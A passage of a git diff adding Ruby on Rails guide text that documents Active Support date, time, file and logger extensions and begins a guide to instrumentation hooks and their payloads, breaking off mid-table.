+The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day.
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week              # => Mon, 10 May 2010
+d.next_week(:saturday)   # => Sat, 15 May 2010
+```
+
+The method `prev_week` is analogous:
+
+```ruby
+d.prev_week              # => Mon, 26 Apr 2010
+d.prev_week(:saturday)   # => Sat, 01 May 2010
+d.prev_week(:friday)     # => Fri, 30 Apr 2010
+```
+
+`prev_week` is aliased to `last_week`.
+
+Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.
+
+##### `beginning_of_month`, `end_of_month`
+
+The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month     # => Sat, 01 May 2010
+d.end_of_month           # => Mon, 31 May 2010
+```
+
+`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
+
+##### `beginning_of_quarter`, `end_of_quarter`
+
+The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter   # => Thu, 01 Apr 2010
+d.end_of_quarter         # => Wed, 30 Jun 2010
+```
+
+`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
+
+##### `beginning_of_year`, `end_of_year`
+
+The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year      # => Fri, 01 Jan 2010
+d.end_of_year            # => Fri, 31 Dec 2010
+```
+
+`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
+
+#### Other Date Computations
+
+##### `years_ago`, `years_since`
+
+The method `years_ago` receives a number of years and returns the same date those many years ago:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+```
+
+`years_since` moves forward in time:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
+```
+
+##### `months_ago`, `months_since`
+
+The methods `months_ago` and `months_since` work analogously for months:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+```
+
+##### `weeks_ago`
+
+The method `weeks_ago` works analogously for weeks:
+
+```ruby
+Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+```
+
+##### `advance`
+
+The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
+
+```ruby
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+```
+
+Note in the previous example that increments may be negative.
+
+To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
+
+The method `advance` advances first one month, and then one day, the result is:
+
+```ruby
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+```
+
+While if it did it the other way around the result would be different:
+
+```ruby
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+```
+
+#### Changing Components
+
+The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+
+```ruby
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from dates:
+
+```ruby
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+```
+
+#### Timestamps
+
+INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.
+
+##### `beginning_of_day`, `end_of_day`
+
+The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+```
+
+The method `end_of_day` returns a timestamp at the end of the day (23:59:59):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+```
+
+`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
+
+##### `beginning_of_hour`, `end_of_hour`
+
+The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+```
+
+The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+```
+
+`beginning_of_hour` is aliased to `at_beginning_of_hour`.
+
+##### `beginning_of_minute`, `end_of_minute`
+
+The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+```
+
+The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+```
+
+`beginning_of_minute` is aliased to `at_beginning_of_minute`.
+
+INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+
+##### `ago`, `since`
+
+The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+```
+
+Similarly, `since` moves forward:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+```
+
+#### Other Time Computations
+
+### Conversions
+
+Extensions to `DateTime`
+------------------------
+
+WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
+
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
+
+```ruby
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+```
+
+The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
+
+```ruby
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+```
+
+On the other hand, `advance` and `change` are also defined and support more options, they are documented below.
+
+The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:
+
+```ruby
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+```
+
+#### Named Datetimes
+
+##### `DateTime.current`
+
+Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
+
+#### Other Extensions
+
+##### `seconds_since_midnight`
+
+The method `seconds_since_midnight` returns the number of seconds since midnight:
+
+```ruby
+now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+```
+
+##### `utc`
+
+The method `utc` gives you the same datetime in the receiver expressed in UTC.
+
+```ruby
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
+```
+
+This method is also aliased as `getutc`.
+
+##### `utc?`
+
+The predicate `utc?` says whether the receiver has UTC as its time zone:
+
+```ruby
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # => false
+now.utc.utc?       # => true
+```
+
+##### `advance`
+
+The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
+
+```ruby
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+```
+
+This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
+
+If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
+
+```ruby
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+```
+
+but if we computed them the other way around, the result would be different:
+
+```ruby
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+```
+
+WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+
+#### Changing Components
+
+The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
+
+```ruby
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+```
+
+If hours are zeroed, then minutes and seconds are too (unless they have given values):
+
+```ruby
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+```
+
+Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
+
+```ruby
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from datetimes:
+
+```ruby
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+```
+
+Extensions to `Time`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
+
+Active Support adds to `Time` many of the methods available for `DateTime`:
+
+```ruby
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+```
+
+They are analogous. Please refer to their documentation above and take into account the following differences:
+
+* `change` accepts an additional `:usec` option.
+* `Time` understands DST, so you get correct DST calculations as in
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+t = Time.local(2010, 3, 28, 1, 59, 59)
+# => Sun Mar 28 01:59:59 +0100 2010
+t.advance(seconds: 1)
+# => Sun Mar 28 03:00:00 +0200 2010
+```
+
+* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
+
+#### `Time.current`
+
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.
+
+#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
+
+The method `all_day` returns a range representing the whole day of the current time.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+```
+
+Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+```
+
+### Time Constructors
+
+Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+```
+
+Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
+
+If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
+
+#### Durations
+
+Durations can be added to and subtracted from time objects:
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+```
+
+Extensions to `File`
+--------------------
+
+### `atomic_write`
+
+With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.
+
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.
+
+For example, Action Pack uses this method to write asset cache files like `all.css`:
+
+```ruby
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+```
+
+To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is  [...]
+
+NOTE. Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified.
+
+WARNING. Note you can't append with `atomic_write`.
+
+The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
+
+NOTE: Defined in `active_support/core_ext/file/atomic.rb`.
+
+Extensions to `Marshal`
+-----------------------
+
+### `load`
+
+Active Support adds constant autoloading support to `load`.
+
+For example, the file cache store deserializes this way:
+
+```ruby
+File.open(file_name) { |f| Marshal.load(f) }
+```
+
+If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.
+
+WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`.
+
+NOTE: Defined in `active_support/core_ext/marshal.rb`.
+
+Extensions to `Logger`
+----------------------
+
+### `around_[level]`
+
+Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`:
+
+```ruby
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
+```
+
+### `silence`
+
+Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
+
+```ruby
+logger = Logger.new("log/development.log")
+logger.silence(Logger::INFO) do
+  logger.debug("In space, no one can hear you scream.")
+  logger.info("Scream all you want, small mailman!")
+end
+```
+
+### `datetime_format=`
+
+Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored.
+
+```ruby
+class Logger::FormatWithTime < Logger::Formatter
+  cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
+
+  def self.call(severity, timestamp, progname, msg)
+    "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
+  end
+end
+
+logger = Logger.new("log/development.log")
+logger.formatter = Logger::FormatWithTime
+logger.info("<- is the current time")
+```
+
+NOTE: Defined in `active_support/core_ext/logger.rb`.
+
+Extensions to `NameError`
+-------------------------
+
+Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
+
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+
+TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+
+For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `actionpack/lib/abstract_controller/helpers.rb`.
+
+Extensions to `LoadError`
+-------------------------
+
+Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility.
+
+Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+
+For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `actionpack/lib/abstract_controller/helpers.rb`.
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
new file mode 100644
index 0000000..6c77a40
--- /dev/null
+++ b/guides/source/active_support_instrumentation.md
@@ -0,0 +1,496 @@
+Active Support Instrumentation
+==============================
+
+Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+
+In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+
+After reading this guide, you will know:
+
+* What instrumentation can provide.
+* The hooks inside the Rails framework for instrumentation.
+* Adding a subscriber to a hook.
+* Building a custom instrumentation implementation.
+
+--------------------------------------------------------------------------------
+
+Introduction to instrumentation
+-------------------------------
+
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+
+For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+
+You are even able to create your own events inside your application which you can later subscribe to.
+
+Rails framework hooks
+---------------------
+
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
+
+Action Controller
+-----------------
+
+### write_fragment.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### read_fragment.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### expire_fragment.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### exist_fragment?.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### write_page.action_controller
+
+| Key     | Value             |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+  path: '/users/1'
+}
+```
+
+### expire_page.action_controller
+
+| Key     | Value             |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+  path: '/users/1'
+}
+```
+
+### start_processing.action_controller
+
+| Key           | Value                                                     |
+| ------------- | --------------------------------------------------------- |
+| `:controller` | The controller name                                       |
+| `:action`     | The action                                                |
+| `:params`     | Hash of request parameters without any filtered parameter |
+| `:format`     | html/js/json/xml etc                                      |
+| `:method`     | HTTP request verb                                         |
+| `:path`       | Request path                                              |
+
+```ruby
+{
+  controller: "PostsController",
+  action: "new",
+  params: { "action" => "new", "controller" => "posts" },
+  format: :html,
+  method: "GET",
+  path: "/posts/new"
+}
+```
+
+### process_action.action_controller
+
+| Key             | Value                                                     |
+| --------------- | --------------------------------------------------------- |
+| `:controller`   | The controller name                                       |
+| `:action`       | The action                                                |
+| `:params`       | Hash of request parameters without any filtered parameter |
+| `:format`       | html/js/json/xml etc                                      |
+| `:method`       | HTTP request verb                                         |
+| `:path`         | Request path                                              |
+| `:view_runtime` | Amount spent in view in ms                                |
+
+```ruby
+{
+  controller: "PostsController",
+  action: "index",
+  params: {"action" => "index", "controller" => "posts"},
+  format: :html,
+  method: "GET",
+  path: "/posts",
+  status: 200,
+  view_runtime: 46.848,
+  db_runtime: 0.157
+}
+```
+
+### send_file.action_controller
+
+| Key     | Value                     |
+| ------- | ------------------------- |
+| `:path` | Complete path to the file |
+
+INFO. Additional keys may be added by the caller.
+
+### send_data.action_controller
+
+`ActionController` does not had any specific information to the payload. All options are passed through to the payload.
+
+### redirect_to.action_controller
+
+| Key         | Value              |
+| ----------- | ------------------ |
+| `:status`   | HTTP response code |
+| `:location` | URL to redirect to |
+
+```ruby
+{
+  status: 302,
+  location: "http://localhost:3000/posts/new"
+}
+```
+
+### halted_callback.action_controller
+
+| Key       | Value                         |
+| --------- | ----------------------------- |
+| `:filter` | Filter that halted the action |
+
+```ruby
+{
+  filter: ":halting_filter"
+}
+```
+
+Action View
+-----------
+
+### render_template.action_view
+
+| Key           | Value                 |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+| `:layout`     | Applicable layout     |
+
+```ruby
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  layout: "layouts/application"
+}
+```
+
+### render_partial.action_view
+
+| Key           | Value                 |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+
+```ruby
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
+}
+```
+
+Active Record
+------------
+
+### sql.active_record
+
+| Key          | Value                 |
+| ------------ | --------------------- |
+| `:sql`       | SQL statement         |
+| `:name`      | Name of the operation |
+| `:object_id` | `self.object_id`      |
+
+INFO. The adapters will add their own data as well.
+
+```ruby
+{
+  sql: "SELECT \"posts\".* FROM \"posts\" ",
+  name: "Post Load",
+  connection_id: 70307250813140,
+  binds: []
+}
+```
+
+### identity.active_record
+
+| Key              | Value                                     |
+| ---------------- | ----------------------------------------- |
+| `:line`          | Primary Key of object in the identity map |
+| `:name`          | Record's class                            |
+| `:connection_id` | `self.object_id`                          |
+
+Action Mailer
+-------------
+
+### receive.action_mailer
+
+| Key           | Value                                        |
+| ------------- | -------------------------------------------- |
+| `:mailer`     | Name of the mailer class                     |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject`    | Subject of the mail                          |
+| `:to`         | To address(es) of the mail                   |
+| `:from`       | From address of the mail                     |
+| `:bcc`        | BCC addresses of the mail                    |
+| `:cc`         | CC addresses of the mail                     |
+| `:date`       | Date of the mail                             |
+| `:mail`       | The encoded form of the mail                 |
+
+```ruby
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5 at mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users at rails.com", "ddh at rails.com"],
+  from: ["me at rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # omitted for brevity
+}
+```
+
+### deliver.action_mailer
+
+| Key           | Value                                        |
+| ------------- | -------------------------------------------- |
+| `:mailer`     | Name of the mailer class                     |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject`    | Subject of the mail                          |
+| `:to`         | To address(es) of the mail                   |
+| `:from`       | From address of the mail                     |
+| `:bcc`        | BCC addresses of the mail                    |
+| `:cc`         | CC addresses of the mail                     |
+| `:date`       | Date of the mail                             |
+| `:mail`       | The encoded form of the mail                 |
+
+```ruby
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5 at mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users at rails.com", "ddh at rails.com"],
+  from: ["me at rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # omitted for brevity
+}
+```
+
+ActiveResource
+--------------
+
+### request.active_resource
+
+| Key            | Value                |
+| -------------- | -------------------- |
+| `:method`      | HTTP method          |
+| `:request_uri` | Complete URI         |
+| `:result`      | HTTP response object |
+
+Active Support
+--------------
+
+### cache_read.active_support
+
+| Key                | Value                                             |
+| ------------------ | ------------------------------------------------- |
+| `:key`             | Key used in the store                             |
+| `:hit`             | If this read is a hit                             |
+| `:super_operation` | :fetch is added when a read is used with `#fetch` |
+
+### cache_generate.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload when writing to the store
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+
+### cache_fetch_hit.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload.
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+### cache_write.active_support
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Cache stores my add their own keys
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+### cache_delete.active_support
+
+| Key    | Value                 |
+| ------ | --------------------- |
